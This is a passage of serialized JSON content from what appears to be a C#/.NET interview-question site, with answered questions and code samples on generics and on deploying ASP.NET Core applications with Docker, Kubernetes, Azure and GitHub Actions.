with\n`.Invoke` or a lambda wrapper.\n\n**Rule of thumb:** Use `Func\u003C>` for functions, `Action\u003C>` for side effects, and\n`Predicate\u003CT>` only when an API specifically requires it. Never define a custom\nsingle-method delegate unless you need a more descriptive name for API clarity.\n",{"id":1629,"difficulty":96,"q":1630,"a":1631},"generic-interface-multiple","Can a class implement the same generic interface multiple times with different type arguments?","Yes, a class can implement `IInterface\u003CT>` for multiple closed types, but only\nthrough the explicit interface implementation syntax when the method signatures\nwould conflict.\n\n```csharp\ninterface IConverter\u003CT>\n{\n    T Convert(string input);\n}\n\nclass MultiConverter : IConverter\u003Cint>, IConverter\u003Cdouble>\n{\n    \u002F\u002F Explicit implementations avoid member name collision:\n    int IConverter\u003Cint>.Convert(string input) => int.Parse(input);\n    double IConverter\u003Cdouble>.Convert(string input) => double.Parse(input);\n}\n\nvar mc = new MultiConverter();\nint i = ((IConverter\u003Cint>)mc).Convert(\"42\");\ndouble d = ((IConverter\u003Cdouble>)mc).Convert(\"3.14\");\nConsole.WriteLine($\"{i}, {d}\"); \u002F\u002F 42, 3.14\n\n\u002F\u002F Common real-world example — IEquatable\u003CT> and IComparable\u003CT>:\nstruct Temperature : IComparable\u003CTemperature>, IEquatable\u003CTemperature>\n{\n    public double Celsius { get; init; }\n    public int CompareTo(Temperature other) => Celsius.CompareTo(other.Celsius);\n    public bool Equals(Temperature other) => Celsius == other.Celsius;\n}\n```\n\n**Rule of thumb:** A class implementing the same interface for multiple type\nargs is valid but rare. It's most common in adapters or type-bridge scenarios.\nWhen signatures collide, use explicit interface implementation to disambiguate.\n",{"id":1633,"difficulty":96,"q":1634,"a":1635},"typeof-vs-gettype","What is the difference between `typeof(T)` and `t.GetType()` inside a generic method?","`typeof(T)` is a **compile-time** operator that returns the `Type` object for the\nstatic type parameter `T`. `t.GetType()` is a **runtime** call on an instance `t`\nthat returns its actual runtime type — which may be a subclass of `T`.\n\n```csharp\nvoid Inspect\u003CT>(T value)\n{\n    Console.WriteLine(typeof(T).Name);   \u002F\u002F static type parameter\n    Console.WriteLine(value.GetType().Name); \u002F\u002F actual runtime type of the instance\n}\n\nInspect\u003Cobject>(\"hello\");\n\u002F\u002F typeof(T)      → \"Object\"  (T is declared as 'object')\n\u002F\u002F GetType()      → \"String\"  (the actual object is a string)\n\nInspect\u003Cstring>(\"hello\");\n\u002F\u002F typeof(T)      → \"String\"\n\u002F\u002F GetType()      → \"String\"   (same in this case)\n\n\u002F\u002F Use typeof(T) when you need the declared type:\nbool IsValueType\u003CT>() => typeof(T).IsValueType;\nConsole.WriteLine(IsValueType\u003Cint>());    \u002F\u002F True\nConsole.WriteLine(IsValueType\u003Cstring>()); \u002F\u002F False\n```\n\nIn most generic code you want `typeof(T)` — it is a constant, avoids a virtual\ndispatch, and works even when `value` is `null`. Use `GetType()` only when you\nspecifically need to know the **runtime subtype** of the instance.\n\n**Rule of thumb:** `typeof(T)` = the type the author declared. `GetType()` = the\ntype the caller actually passed. They differ when `T` is a base class or interface\nand the instance is a derived type.\n",{"id":1637,"difficulty":104,"q":1638,"a":1639},"generic-list-vs-arraylist","What is the difference between `List\u003CT>` and `ArrayList`, and why should you always prefer `List\u003CT>`?","`ArrayList` stores items as `object` — no type safety, every value type is boxed.\n`List\u003CT>` is generic — type-safe, no boxing, and produces helpful compile-time\nerrors rather than runtime `InvalidCastException`.\n\n```csharp\n\u002F\u002F ArrayList — pre-.NET 2 approach, avoid in new code\nvar old = new ArrayList();\nold.Add(42);        \u002F\u002F boxes int → object (heap allocation)\nold.Add(\"oops\");    \u002F\u002F compiles fine — runtime disaster waiting\nint x = (int)old[1]; \u002F\u002F InvalidCastException at runtime!\n\n\u002F\u002F List\u003CT> — correct approach\nvar list = new List\u003Cint>();\nlist.Add(42);       \u002F\u002F no boxing\n\u002F\u002F list.Add(\"oops\"); \u002F\u002F compile-time error — caught immediately\nint y = list[0];    \u002F\u002F no cast needed\nConsole.WriteLine(list.Count); \u002F\u002F 1\n```\n\n`ArrayList` still exists in .NET for legacy compatibility but is effectively\ndeprecated for new code. The only remaining use case is interoperating with old\nCOM APIs or reflection scenarios where the type is unknown at compile time\n(in which case `List\u003Cobject>` is still cleaner than `ArrayList`).\n\n**Rule of thumb:** Never use `ArrayList`, `Hashtable`, or other non-generic\ncollections in new C# code. Always use their generic equivalents: `List\u003CT>`,\n`Dictionary\u003CTKey, TValue>`, `HashSet\u003CT>`.\n",{"id":1641,"difficulty":206,"q":1642,"a":1643},"generic-static-members","Do generic types share static members across different type arguments?","No. In C#, each **closed generic type** (`List\u003Cint>`, `List\u003Cstring>`) is a\ndistinct CLR type with its own set of static members. A static field on\n`MyClass\u003CT>` is **not shared** between `MyClass\u003Cint>` and `MyClass\u003Cstring>`.\n\n```csharp\nclass Counter\u003CT>\n{\n    public static int Count = 0;\n    public Counter() => Count++;\n}\n\n_ = new Counter\u003Cint>();\n_ = new Counter\u003Cint>();\n_ = new Counter\u003Cstring>();\n\nConsole.WriteLine(Counter\u003Cint>.Count);    \u002F\u002F 2 — own counter\nConsole.WriteLine(Counter\u003Cstring>.Count); \u002F\u002F 1 — separate counter\nConsole.WriteLine(Counter\u003Cdouble>.Count); \u002F\u002F 0 — never instantiated\n\n\u002F\u002F Contrast with a non-generic class — one shared static field:\nclass NonGenericCounter\n{\n    public static int Count = 0;\n    public NonGenericCounter() => Count++;\n}\n\u002F\u002F All instances share NonGenericCounter.Count\n```\n\nThis is a direct consequence of CLR **reification** — each generic instantiation\nis a separate type. It enables type-specific caches (e.g., `EqualityComparer\u003CT>.Default`\ncaches one comparer per `T`) but can be a source of bugs when developers expect\nsharing.\n\n**Rule of thumb:** Never expect a static field on a generic type to be shared\nacross type arguments. If you need global shared state, put it in a non-generic\nouter class or a static class.\n",{"id":1645,"difficulty":96,"q":1646,"a":1647},"open-vs-closed-generic","What is the difference between an open generic type and a closed generic type?","An **open generic type** still has unbound type parameters (e.g., `List\u003CT>`). A\n**closed generic type** has all type parameters substituted with concrete types\n(e.g., `List\u003Cint>`). You can only create instances of closed generic types.\n\n```csharp\n\u002F\u002F Closed type — concrete, instantiable:\nvar list = new List\u003Cint>(); \u002F\u002F List\u003Cint> is a closed type\n\n\u002F\u002F Open type — abstract, used with typeof for reflection:\nType open   = typeof(List\u003C>);          \u002F\u002F open generic — note the \u003C>\nType closed = typeof(List\u003Cint>);       \u002F\u002F closed generic\n\nConsole.WriteLine(open.IsGenericTypeDefinition);  \u002F\u002F True\nConsole.WriteLine(closed.IsGenericTypeDefinition); \u002F\u002F False\nConsole.WriteLine(closed.IsConstructedGenericType); \u002F\u002F True\n\n\u002F\u002F Construct a closed type from an open one at runtime:\nType constructed = open.MakeGenericType(typeof(string));\nobject instance  = Activator.CreateInstance(constructed)!; \u002F\u002F List\u003Cstring>\n\n\u002F\u002F Useful for generic plugin\u002Ffactory systems:\nvar repoType    = typeof(Repository\u003C>).MakeGenericType(entityType);\nvar repoInstance = Activator.CreateInstance(repoType);\n```\n\nOpen generic types appear in reflection-based DI containers and ORMs. For example,\nregistering `typeof(IRepository\u003C>)` → `typeof(Repository\u003C>)` lets the container\nresolve `IRepository\u003CUser>` as `Repository\u003CUser>` automatically.\n\n**Rule of thumb:** You work with open generic types mostly in DI registration and\nreflection. In application code, you always deal with closed types. Use\n`MakeGenericType` when you need to construct a generic type from a runtime\n`Type` object.\n",{"id":1649,"difficulty":206,"q":1650,"a":1651},"generic-math-interfaces","What are generic math interfaces in .NET 7+ and how do they enable numeric generics?",".NET 7 introduced a set of interfaces in `System.Numerics` — `INumber\u003CT>`,\n`IAdditionOperators\u003CTSelf, TOther, TResult>`, `IComparable\u003CT>`, etc. — that allow\nyou to write generic algorithms over numeric types without reflection or casting.\n\n```csharp\nusing System.Numerics;\n\n\u002F\u002F Before .NET 7: had to duplicate Sum\u003Cint>, Sum\u003Cdouble>, Sum\u003Cdecimal> ...\n\u002F\u002F .NET 7+: one generic method works for all numeric types\nT Sum\u003CT>(IEnumerable\u003CT> source) where T : INumber\u003CT>\n{\n    T total = T.Zero;                  \u002F\u002F INumber\u003CT> provides Zero\n    foreach (T item in source)\n        total += item;                 \u002F\u002F += via IAdditionOperators\n    return total;\n}\n\nConsole.WriteLine(Sum(new[] { 1, 2, 3 }));          \u002F\u002F 6    (int)\nConsole.WriteLine(Sum(new[] { 1.1, 2.2, 3.3 }));    \u002F\u002F 6.6  (double)\nConsole.WriteLine(Sum(new[] { 1m, 2m, 3m }));       \u002F\u002F 6    (decimal)\n\n\u002F\u002F Parse any number type generically:\nT Parse\u003CT>(string s) where T : IParsable\u003CT>\n    => T.Parse(s, null);\n\nint i = Parse\u003Cint>(\"42\");\ndouble d = Parse\u003Cdouble>(\"3.14\");\n```\n\nThis capability, called **static abstract interface members** (C# 11), allows\ninterfaces to declare static operators and factory methods that must be implemented\nby conforming types.\n\n**Rule of thumb:** Use `INumber\u003CT>` or the narrower arithmetic interfaces\n(`IAdditionOperators`, `IMultiplyOperators`) when writing library-level numeric\nalgorithms. For application code, concrete types are clearer and simpler.\n",{"id":1653,"difficulty":96,"q":1654,"a":1655},"generic-type-inference","How does C# infer generic type arguments, and when do you have to specify them explicitly?","The C# compiler infers generic type arguments from the **types of the method\narguments** passed at the call site. Inference works only for method type parameters\n— class type parameters always require explicit specification.\n\n```csharp\n\u002F\u002F Compiler infers T from the argument type:\nT Identity\u003CT>(T value) => value;\n\nvar s = Identity(\"hello\");  \u002F\u002F T inferred as string\nvar n = Identity(42);       \u002F\u002F T inferred as int\n\u002F\u002F No need to write Identity\u003Cstring>(\"hello\")\n\n\u002F\u002F Inference fails when T appears only in the return type:\nT Create\u003CT>() where T : new() => new T();\n\u002F\u002F var x = Create();        \u002F\u002F error — cannot infer T from no arguments\nvar x = Create\u003CStringBuilder>(); \u002F\u002F must specify explicitly\n\n\u002F\u002F Partial inference is not allowed — specify all or none:\nvoid Combine\u003CT1, T2>(T1 a, T2 b) { }\nCombine(1, \"hi\");           \u002F\u002F both inferred: T1=int, T2=string\n\u002F\u002F Combine\u003Cint>(\"hi\");      \u002F\u002F compile error — cannot partially specify\n\n\u002F\u002F Return-type inference for delegates\u002Flambdas (C# 10):\nvar square = (int x) => x * x; \u002F\u002F inferred as Func\u003Cint, int>\n```\n\nType inference uses **unification** — it matches each argument's type against the\ncorresponding parameter's declared type to deduce `T`. When multiple arguments\nconstrain the same `T` to different types and neither is convertible to the other,\ninference fails and you must specify explicitly.\n\n**Rule of thumb:** Let the compiler infer when arguments supply all the type\ninformation needed. Specify explicitly when `T` is in the return type only, when\ninference would choose the wrong type, or when you need to override the inferred type\nfor clarity.\n",{"description":94},"C# generics interview questions — type constraints, covariance and contravariance, reification, generic delegates, and performance implications.","dotnet\u002Ffundamentals\u002Fgenerics","1GOXwCbAA_czF6emJ43fMJtMHHM9dL-ajJ1eKt7-GmQ",{"id":1661,"title":1662,"body":1663,"description":94,"difficulty":206,"extension":97,"framework":10,"frameworkSlug":8,"meta":1667,"navigation":99,"order":38,"path":1668,"questions":1669,"questionsCount":163,"related":164,"seo":1730,"seoDescription":1731,"stem":1732,"subtopic":1662,"topic":81,"topicSlug":83,"updated":168,"__hash__":1733},"qa\u002Fdotnet\u002Fperformance-deployment\u002Fdeployment.md","Deployment",{"type":91,"value":1664,"toc":1665},[],{"title":94,"searchDepth":29,"depth":29,"links":1666},[],{},"\u002Fdotnet\u002Fperformance-deployment\u002Fdeployment",[1670,1674,1678,1682,1686,1690,1694,1698,1702,1706,1710,1714,1718,1722,1726],{"id":1671,"difficulty":104,"q":1672,"a":1673},"dotnet-publish-modes","What are the different publish modes for a .NET application and when do you use each?","`dotnet publish` supports three deployment models: **framework-dependent**,\n**self-contained**, and **single-file**. Each trades off binary size, portability,\nand startup time differently.\n\n```bash\n# Framework-dependent (default) — requires .NET runtime installed on host:\ndotnet publish -c Release\n# Output: ~500 KB of app DLLs + app.exe shim\n# Advantage: small, shares runtime with other apps on the host\n\n# Self-contained — includes the .NET runtime in the output:\ndotnet publish -c Release --self-contained true -r linux-x64\n# Output: ~70 MB including runtime\n# Advantage: no runtime required on host; portable to fresh machines\n\n# Single-file — bundles everything into one executable:\ndotnet publish -c Release --self-contained true -r linux-x64 \\\n    -p:PublishSingleFile=true\n# Output: one ~70 MB file\n# Advantage: simple deployment; one file to copy\u002Fmove\n\n# ReadyToRun (R2R) — ahead-of-time compile for faster startup:\ndotnet publish -c Release -r linux-x64 \\\n    -p:PublishReadyToRun=true\n\n# Trimming — remove unused framework code (careful: reflection-heavy code may break):\ndotnet publish -c Release --self-contained true -r linux-x64 \\\n    -p:PublishTrimmed=true\n# Output: ~20-40 MB depending on what's used\n```\n\n| Mode | Host requirement | Binary size | Startup |\n|------|-----------------|-------------|---------|\n| Framework-dependent | .NET runtime | Small | Normal |\n| Self-contained | Nothing | ~70 MB | Normal |\n| Single-file | Nothing | ~70 MB (one file) | Slightly slower |\n| R2R | Nothing | Larger | Faster |\n\n**Rule of thumb:** Use framework-dependent for servers where you control the\nruntime version. Use self-contained for containers (Docker handles the runtime)\nor edge deployments where installing the runtime is not possible.\n",{"id":1675,"difficulty":96,"q":1676,"a":1677},"kestrel-reverse-proxy","What is Kestrel and why is it typically used behind a reverse proxy in production?","**Kestrel** is ASP.NET Core's built-in cross-platform HTTP server. It handles\nraw TCP\u002FTLS connections and is fast enough for production traffic, but in\nmost deployments it runs behind a reverse proxy (Nginx, Apache, or IIS) that\nhandles TLS termination, static files, rate limiting, and connection management.\n\n```csharp\n\u002F\u002F Program.cs — Kestrel is the default; configure limits explicitly:\nbuilder.WebHost.ConfigureKestrel(opts =>\n{\n    opts.Limits.MaxConcurrentConnections         = 1000;\n    opts.Limits.MaxRequestBodySize               = 10 * 1024 * 1024; \u002F\u002F 10 MB\n    opts.Limits.MinRequestBodyDataRate           = null;  \u002F\u002F disable for uploads\n    opts.Limits.RequestHeadersTimeout            = TimeSpan.FromSeconds(30);\n\n    \u002F\u002F HTTPS directly on Kestrel (without a reverse proxy):\n    opts.ListenAnyIP(443, listenOpts =>\n        listenOpts.UseHttps(\"\u002Fetc\u002Fssl\u002Fcerts\u002Fapp.pfx\", \"cert-password\"));\n\n    \u002F\u002F HTTP\u002F2 and HTTP\u002F3:\n    opts.ListenAnyIP(5000, listenOpts =>\n        listenOpts.Protocols = HttpProtocols.Http1AndHttp2);\n});\n\n\u002F\u002F Behind a reverse proxy — forward headers so HTTPS links are correct:\napp.UseForwardedHeaders(new ForwardedHeadersOptions\n{\n    ForwardedHeaders = ForwardedHeaders.XForwardedFor | ForwardedHeaders.XForwardedProto,\n});\n\u002F\u002F Must come BEFORE UseAuthentication \u002F UseRouting\n\n\u002F\u002F Nginx config snippet (reverse proxy to Kestrel on port 5000):\n\u002F\u002F server {\n\u002F\u002F listen 443 ssl;\n\u002F\u002F location \u002F {\n\u002F\u002F proxy_pass         http:\u002F\u002Flocalhost:5000;\n\u002F\u002F proxy_set_header   X-Forwarded-For   $proxy_add_x_forwarded_for;\n\u002F\u002F proxy_set_header   X-Forwarded-Proto $scheme;\n\u002F\u002F }\n\u002F\u002F }\n```\n\n**Rule of thumb:** Always call `UseForwardedHeaders` when running behind a\nreverse proxy. Without it, `Request.Scheme` returns `http` even for HTTPS\nrequests, breaking redirect URLs and cookie `Secure` flags.\n",{"id":1679,"difficulty":104,"q":1680,"a":1681},"environment-config","How does ASP.NET Core handle configuration across different environments?","ASP.NET Core layers configuration from multiple sources in priority order.\nHigher-priority sources override lower ones. The `ASPNETCORE_ENVIRONMENT`\nenvironment variable selects environment-specific files.\n\n```csharp\n\u002F\u002F Default configuration loading order (last wins):\n\u002F\u002F 1. appsettings.json              — base config, committed to source control\n\u002F\u002F 2. appsettings.{Environment}.json — environment overrides (Development, Production)\n\u002F\u002F 3. Environment variables          — injected by host OS \u002F orchestrator \u002F Docker\n\u002F\u002F 4. Command-line arguments         — highest priority, useful for one-off overrides\n\n\u002F\u002F appsettings.json:\n\u002F\u002F { \"ConnectionStrings\": { \"Default\": \"Server=localhost;Database=dev\" } }\n\n\u002F\u002F appsettings.Production.json:\n\u002F\u002F { \"ConnectionStrings\": { \"Default\": \"Server=prod-db;Database=app\" } }\n\n\u002F\u002F Environment variables override any file:\n\u002F\u002F ConnectionStrings__Default=Server=prod-db;Database=app\n\u002F\u002F (double underscore = colon separator for nested keys)\n\n\u002F\u002F Access in code:\nvar connStr = builder.Configuration.GetConnectionString(\"Default\");\n\n\u002F\u002F Secrets in development — user secrets (never committed):\n\u002F\u002F dotnet user-secrets set \"ConnectionStrings:Default\" \"Server=localhost;...\"\n\n\u002F\u002F Secrets in production — environment variables or Azure Key Vault:\nbuilder.Configuration.AddAzureKeyVault(\n    new Uri($\"https:\u002F\u002F{vaultName}.vault.azure.net\u002F\"),\n    new DefaultAzureCredential());\n\n\u002F\u002F ASPNETCORE_ENVIRONMENT controls which appsettings file is loaded:\n\u002F\u002F Development → appsettings.Development.json\n\u002F\u002F Staging      → appsettings.Staging.json\n\u002F\u002F Production   → appsettings.Production.json (default if not set)\n```\n\n**Rule of thumb:** Commit `appsettings.json` and environment-specific files\nwith non-sensitive defaults. Never commit secrets — use environment variables\nin production and `dotnet user-secrets` in development.\n",{"id":1683,"difficulty":96,"q":1684,"a":1685},"docker-multistage","How do you write a production-ready multi-stage Dockerfile for an ASP.NET Core application?","A **multi-stage Dockerfile** uses the SDK image to build and the smaller\nruntime image to run, keeping the final image lean and free of build tools.\n\n```dockerfile\n# Stage 1: restore and build (uses full SDK)\nFROM mcr.microsoft.com\u002Fdotnet\u002Fsdk:8.0 AS build\nWORKDIR \u002Fsrc\n\n# Copy project files first to leverage layer caching:\nCOPY [\"MyApp\u002FMyApp.csproj\", \"MyApp\u002F\"]\nRUN dotnet restore \"MyApp\u002FMyApp.csproj\"\n\n# Copy source and publish:\nCOPY . .\nWORKDIR \u002Fsrc\u002FMyApp\nRUN dotnet publish \"MyApp.csproj\" -c Release -o \u002Fapp\u002Fpublish \\\n    --no-restore\n\n# Stage 2: final runtime image (no SDK, no build tools)\nFROM mcr.microsoft.com\u002Fdotnet\u002Faspnet:8.0 AS final\nWORKDIR \u002Fapp\n\n# Run as non-root (security hardening):\nRUN useradd --uid 1001 --no-create-home appuser\nUSER appuser\n\n# Copy only the publish output:\nCOPY --from=build \u002Fapp\u002Fpublish .\n\nENV ASPNETCORE_ENVIRONMENT=Production\nENV ASPNETCORE_URLS=http:\u002F\u002F+:8080\n\nEXPOSE 8080\nENTRYPOINT [\"dotnet\", \"MyApp.dll\"]\n```\n\n```bash\n# Build and run:\ndocker build -t myapp:latest .\ndocker run -p 8080:8080 \\\n    -e ConnectionStrings__Default=\"Server=db;Database=app\" \\\n    myapp:latest\n```\n\nMulti-stage builds reduce the final image from ~1 GB (SDK) to ~250 MB (runtime).\nRunning as a non-root user prevents the container process from escalating\nprivileges if compromised.\n\n**Rule of thumb:** Always copy the project file and run `dotnet restore` as a\nseparate `COPY`\u002F`RUN` step before copying source code. Docker caches the restore\nlayer until the `.csproj` changes, making subsequent builds much faster.\n",{"id":1687,"difficulty":96,"q":1688,"a":1689},"health-probe-kubernetes","How do you configure Kubernetes liveness and readiness probes for an ASP.NET Core app?","Kubernetes uses **liveness** probes to restart an unhealthy container and\n**readiness** probes to stop routing traffic to a container that is not ready.\nASP.NET Core's health checks map directly to these two probe types.\n\n```csharp\n\u002F\u002F Program.cs — separate endpoints for liveness and readiness:\nbuilder.Services.AddHealthChecks()\n    .AddDbContextCheck\u003CAppDbContext>(tags: [\"readiness\"])\n    .AddRedis(\"localhost:6379\",      tags: [\"readiness\"]);\n\napp.MapHealthChecks(\"\u002Fhealth\u002Flive\", new HealthCheckOptions\n{\n    Predicate = _ => false,  \u002F\u002F always 200 if process is running\n});\n\napp.MapHealthChecks(\"\u002Fhealth\u002Fready\", new HealthCheckOptions\n{\n    Predicate = check => check.Tags.Contains(\"readiness\"),\n    ResultStatusCodes =\n    {\n        [HealthStatus.Healthy]   = StatusCodes.Status200OK,\n        [HealthStatus.Degraded]  = StatusCodes.Status200OK,   \u002F\u002F still route traffic\n        [HealthStatus.Unhealthy] = StatusCodes.Status503ServiceUnavailable,\n    },\n});\n```\n\n```yaml\n# Kubernetes deployment — liveness and readiness probes:\nspec:\n  containers:\n  - name: myapp\n    image: myapp:latest\n    ports:\n    - containerPort: 8080\n    livenessProbe:\n      httpGet:\n        path: \u002Fhealth\u002Flive\n        port: 8080\n      initialDelaySeconds: 5   # wait for startup\n      periodSeconds: 10\n      failureThreshold: 3      # restart after 3 consecutive failures\n    readinessProbe:\n      httpGet:\n        path: \u002Fhealth\u002Fready\n        port: 8080\n      initialDelaySeconds: 10\n      periodSeconds: 5\n      failureThreshold: 2      # pull from load balancer after 2 failures\n```\n\n**Rule of thumb:** Liveness checks should only verify the process is not deadlocked\n(no external dependency checks). Readiness checks should verify all dependencies\nthe app needs to serve traffic are available. A liveness failure restarts the pod;\na readiness failure only removes it from the load balancer.\n",{"id":1691,"difficulty":96,"q":1692,"a":1693},"graceful-shutdown","How do you implement graceful shutdown in ASP.NET Core?","**Graceful shutdown** lets the app finish in-flight requests before stopping.\nASP.NET Core handles SIGTERM automatically but the default shutdown timeout\n(5 s) may be too short for long-running requests.\n\n```csharp\n\u002F\u002F Increase the shutdown timeout:\nbuilder.Host.ConfigureHostOptions(opts =>\n    opts.ShutdownTimeout = TimeSpan.FromSeconds(30));\n\n\u002F\u002F Or per web host:\nbuilder.WebHost.UseShutdownTimeout(TimeSpan.FromSeconds(30));\n\n\u002F\u002F IHostedService — implement long-running background work with cancellation:\npublic class OrderProcessorService : BackgroundService\n{\n    protected override async Task ExecuteAsync(CancellationToken stoppingToken)\n    {\n        while (!stoppingToken.IsCancellationRequested)\n        {\n            var order = await _queue.DequeueAsync(stoppingToken);\n            if (order is null) continue;\n\n            try   { await ProcessOrderAsync(order, stoppingToken); }\n            catch (OperationCanceledException) { break; } \u002F\u002F shutting down — stop cleanly\n            catch (Exception ex)               { _logger.LogError(ex, \"Processing failed\"); }\n        }\n        _logger.LogInformation(\"OrderProcessorService stopped gracefully\");\n    }\n}\n\n\u002F\u002F IHostApplicationLifetime — hook into specific lifecycle events:\npublic class StartupService : IHostedService\n{\n    private readonly IHostApplicationLifetime _lifetime;\n\n    public Task StartAsync(CancellationToken ct)\n    {\n        _lifetime.ApplicationStopping.Register(() =>\n            _logger.LogInformation(\"Shutdown signal received\"));\n        return Task.CompletedTask;\n    }\n    public Task StopAsync(CancellationToken ct) => Task.CompletedTask;\n}\n```\n\nIn Kubernetes, a `preStop` hook can add a sleep before SIGTERM to let the\nload balancer drain connections before the process starts shutting down:\n\n```yaml\nlifecycle:\n  preStop:\n    exec:\n      command: [\"\u002Fbin\u002Fsh\", \"-c\", \"sleep 5\"]\n```\n\n**Rule of thumb:** Always pass `CancellationToken` through all async operations\nin background services. If you don't, a shutdown signal is ignored and the\nprocess may be forcibly killed, dropping in-flight work.\n",{"id":1695,"difficulty":96,"q":1696,"a":1697},"azure-app-service","How do you deploy an ASP.NET Core application to Azure App Service?","Azure App Service hosts ASP.NET Core applications without managing virtual\nmachines. Deployment can be done via GitHub Actions, Azure DevOps, or the\nAzure CLI.\n\n```bash\n# Create an App Service Plan and Web App via Azure CLI:\naz group create --name myapp-rg --location eastus\naz appservice plan create --name myapp-plan --resource-group myapp-rg \\\n    --sku B1 --is-linux\naz webapp create --resource-group myapp-rg --plan myapp-plan \\\n    --name myapp-prod --runtime \"DOTNETCORE|8.0\"\n\n# Deploy from local publish output:\ndotnet publish -c Release -o .\u002Fpublish\naz webapp deployment source config-zip \\\n    --resource-group myapp-rg --name myapp-prod \\\n    --src .\u002Fpublish.zip\n\n# Configure app settings (environment variables):\naz webapp config appsettings set --resource-group myapp-rg --name myapp-prod \\\n    --settings \"ConnectionStrings__Default=Server=...\" \\\n               \"ASPNETCORE_ENVIRONMENT=Production\"\n```\n\n```yaml\n# GitHub Actions workflow:\n- name: Deploy to Azure App Service\n  uses: azure\u002Fwebapps-deploy@v3\n  with:\n    app-name: myapp-prod\n    publish-profile: ${{ secrets.AZURE_WEBAPP_PUBLISH_PROFILE }}\n    package: .\u002Fpublish\n```\n\nKey App Service features for .NET:\n- **Deployment slots** — blue\u002Fgreen deployments with warm-up\n- **Auto-scaling** — scale out based on CPU or HTTP queue depth\n- **Managed Identity** — access Key Vault without storing credentials\n- **Health check integration** — automatically restart unhealthy instances\n\n**Rule of thumb:** Use App Service deployment slots for zero-downtime releases —\ndeploy to a staging slot, warm it up, then swap to production in a single\natomic operation.\n",{"id":1699,"difficulty":96,"q":1700,"a":1701},"ci-cd-github-actions","How do you set up a CI\u002FCD pipeline for a .NET application using GitHub Actions?","GitHub Actions provides first-class .NET support via `actions\u002Fsetup-dotnet`.\nA typical pipeline builds, tests, and deploys the application on every push\nto main.\n\n```yaml\n# .github\u002Fworkflows\u002Fdeploy.yml\nname: Build and Deploy\n\non:\n  push:\n    branches: [main]\n  pull_request:\n    branches: [main]\n\njobs:\n  build-and-test:\n    runs-on: ubuntu-latest\n    steps:\n    - uses: actions\u002Fcheckout@v4\n\n    - name: Setup .NET\n      uses: actions\u002Fsetup-dotnet@v4\n      with:\n        dotnet-version: '8.0.x'\n\n    - name: Restore dependencies\n      run: dotnet restore\n\n    - name: Build\n      run: dotnet build --no-restore -c Release\n\n    - name: Test\n      run: dotnet test --no-build -c Release \\\n           --collect:\"XPlat Code Coverage\" \\\n           --results-directory .\u002Fcoverage\n\n    - name: Publish coverage\n      uses: codecov\u002Fcodecov-action@v4\n      with:\n        directory: .\u002Fcoverage\n\n    - name: Publish\n      run: dotnet publish src\u002FMyApp\u002FMyApp.csproj \\\n           -c Release -o .\u002Fpublish\n\n    - name: Upload artifact\n      uses: actions\u002Fupload-artifact@v4\n      with:\n        name: publish\n        path: .\u002Fpublish\n\n  deploy:\n    needs: build-and-test\n    runs-on: ubuntu-latest\n    if: github.ref == 'refs\u002Fheads\u002Fmain'  # only deploy on main push\n    environment: production               # requires manual approval if configured\n\n    steps:\n    - uses: actions\u002Fdownload-artifact@v4\n      with:\n        name: publish\n        path: .\u002Fpublish\n\n    - name: Deploy to Azure\n      uses: azure\u002Fwebapps-deploy@v3\n      with:\n        app-name: myapp-prod\n        publish-profile: ${{ secrets.AZURE_WEBAPP_PUBLISH_PROFILE }}\n        package: .\u002Fpublish\n```\n\n**Rule of thumb:** Separate `build-and-test` and `deploy` into two jobs with\n`needs`. This ensures that tests pass before deployment runs, and the deploy\njob can require manual approval for production via GitHub Environments.\n",{"id":1703,"difficulty":96,"q":1704,"a":1705},"configuration-secrets","How do you manage secrets securely in a .NET production deployment?","Never store secrets in source code or committed configuration files. .NET has\nseveral mechanisms for injecting secrets at runtime.\n\n```csharp\n\u002F\u002F Development: dotnet user-secrets (per-developer, never committed)\n\u002F\u002F dotnet user-secrets init\n\u002F\u002F dotnet user-secrets set \"ConnectionStrings:Default\" \"Server=localhost...\"\n\u002F\u002F Stored in ~\u002F.microsoft\u002Fusersecrets\u002F\u003Cproject-guid>\u002Fsecrets.json\n\n\u002F\u002F Production option 1: environment variables (simplest)\n\u002F\u002F Set in the OS, Docker, or Kubernetes:\n\u002F\u002F CONNECTIONSTRINGS__DEFAULT=Server=prod-db;...\n\u002F\u002F (double underscore maps to colon in .NET config)\n\n\u002F\u002F Production option 2: Azure Key Vault (recommended for Azure deployments)\n\u002F\u002F dotnet add package Azure.Extensions.AspNetCore.Configuration.Secrets\nbuilder.Configuration.AddAzureKeyVault(\n    new Uri($\"https:\u002F\u002F{vaultName}.vault.azure.net\u002F\"),\n    new DefaultAzureCredential()); \u002F\u002F uses Managed Identity in Azure, dev credentials locally\n\n\u002F\u002F Production option 3: Kubernetes secrets\n\u002F\u002F kubectl create secret generic myapp-secrets \\\n\u002F\u002F --from-literal=ConnectionStrings__Default=\"Server=prod-db;...\"\n\u002F\u002F Mounted as environment variables in the pod spec:\n\u002F\u002F env:\n\u002F\u002F - name: ConnectionStrings__Default\n\u002F\u002F valueFrom:\n\u002F\u002F secretKeyRef:\n\u002F\u002F name: myapp-secrets\n\u002F\u002F key: ConnectionStrings__Default\n\n\u002F\u002F Validate required configuration at startup — fail fast:\nbuilder.Services.AddOptions\u003CDatabaseOptions>()\n    .BindConfiguration(\"Database\")\n    .ValidateDataAnnotations()\n    .ValidateOnStart(); \u002F\u002F throw on startup if required fields are missing\n```\n\n**Rule of thumb:** Always use `ValidateOnStart()` on critical configuration.\nA startup crash with a clear message (\"ConnectionString is required\") is far\nbetter than a runtime NullReferenceException discovered under load.\n",{"id":1707,"difficulty":206,"q":1708,"a":1709},"performance-profiling","What tools do you use to profile and diagnose performance issues in a .NET application?",".NET ships several built-in diagnostic tools that work on Linux and Windows\nwithout attaching a GUI profiler to production.\n\n```bash\n# dotnet-trace — capture a CPU and allocation trace:\ndotnet tool install --global dotnet-trace\ndotnet-trace collect --process-id \u003Cpid> --duration 00:00:30 \\\n    --profile cpu-sampling\n\n# Analyze with PerfView or SpeedScope (speedscope.app):\ndotnet-trace convert trace.nettrace --format Speedscope\n\n# dotnet-dump — capture and analyze a memory dump:\ndotnet tool install --global dotnet-dump\ndotnet-dump collect --process-id \u003Cpid>\ndotnet-dump analyze core_20260623.dump\n> dumpheap -stat   # top types by allocation count\n> gcroot \u003Caddress> # find what's keeping an object alive\n\n# dotnet-counters — live metrics in the terminal:\ndotnet tool install --global dotnet-counters\ndotnet-counters monitor --process-id \u003Cpid> \\\n    System.Runtime Microsoft.AspNetCore.Hosting\n\n# Outputs real-time:\n# [System.Runtime]\n#     GC Heap Size (MB)          87\n#     Gen 0 GC Count             42\n#     ThreadPool Queue Length     0\n#     CPU 